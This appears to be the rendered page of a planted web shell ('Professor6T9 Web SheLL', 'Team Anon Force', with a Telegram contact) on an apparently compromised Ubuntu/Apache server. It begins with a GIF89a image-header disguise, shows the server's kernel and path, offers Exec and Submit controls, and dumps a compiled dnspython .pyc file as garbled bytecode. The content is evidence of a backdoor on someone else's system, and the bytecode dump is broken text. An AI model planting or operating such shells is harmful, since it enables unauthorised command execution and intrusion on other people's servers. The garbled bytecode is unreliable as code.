GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
dns
/
__pycache__
[ HOME ]
Exec
Submit
inet.cpython-310.pyc
o x7�_� � @ s^ d Z ddlZddlZddlZejZejZdd� Zdd� Zdd� Z d d � Z dd� Zdd d�ZdS )z*Generic Internet address helper functions.� Nc C s. | t kr tj�|�S | tkrtj�|d�S t�)a Convert the textual form of a network address into its binary form. *family* is an ``int``, the address family. *text* is a ``str``, the textual address. Raises ``NotImplementedError`` if the address family specified is not implemented. Returns a ``bytes``. T)�AF_INET�dns�ipv4� inet_aton�AF_INET6�ipv6�NotImplementedError)�family�text� r �*/usr/lib/python3/dist-packages/dns/inet.py� inet_pton! s r c C s, | t kr tj�|�S | tkrtj�|�S t�)a0 Convert the binary form of a network address into its textual form. *family* is an ``int``, the address family. *address* is a ``bytes``, the network address in binary form. Raises ``NotImplementedError`` if the address family specified is not implemented. Returns a ``str``. )r r r Z inet_ntoar r r )r �addressr r r � inet_ntop6 s r c C sN z t j�| � tW S ty& zt j�| d� tW Y S ty% t�w w )z�Determine the address family of a textual-form network address. *text*, a ``str``, the textual address. Raises ``ValueError`` if the address family cannot be determined from the input. Returns an ``int``. T)r r r r � Exceptionr r � ValueError�r r r r �af_for_addressK s ��r c C sf zt j�| �d }|dko|dkW S ty2 zt j�| d�d }|dkW Y S ty1 t�w w )z�Is the textual-form network address a multicast address? *text*, a ``str``, the textual address. Raises ``ValueError`` if the address family cannot be determined from the input. Returns a ``bool``. r �� �� T� )r r r r r r )r �firstr r r �is_multicasta s ��r c C sP z t j�| � W dS ty' zt j�| d� W Y dS ty& Y Y dS w w )z{Is the specified string an IPv4 or IPv6 address? *text*, a ``str``, the textual address. Returns a ``bool``. TF)r r r r r r r r r � is_addressw s ��r c C s� | \}}|du rt |�}|tkr||fS |tkrg|�d�}|dk r'||ddfS |d|� }||d d� }|�� rA||dt|�fS z ||dt�|�fW S tyf tj }tj |||d�^�^ }} }| Y S w td|� ���)aY Given a "high-level" address tuple, i.e. an (address, port) return the appropriate "low-level" address tuple suitable for use in socket calls. If an *af* other than ``None`` is provided, it is assumed the address in the high-level tuple is valid and has that af. If af is ``None``, then af_for_address will be called. N�%r � )�flagszunknown address family )r r r �find�isdigit�int�socketZif_nametoindex�AttributeErrorZAI_NUMERICHOSTZgetaddrinfor ) Z high_tuple�afr Zport�iZaddrpartZscopeZai_flags�_�tupr r r �low_level_address_tuple� s* �r&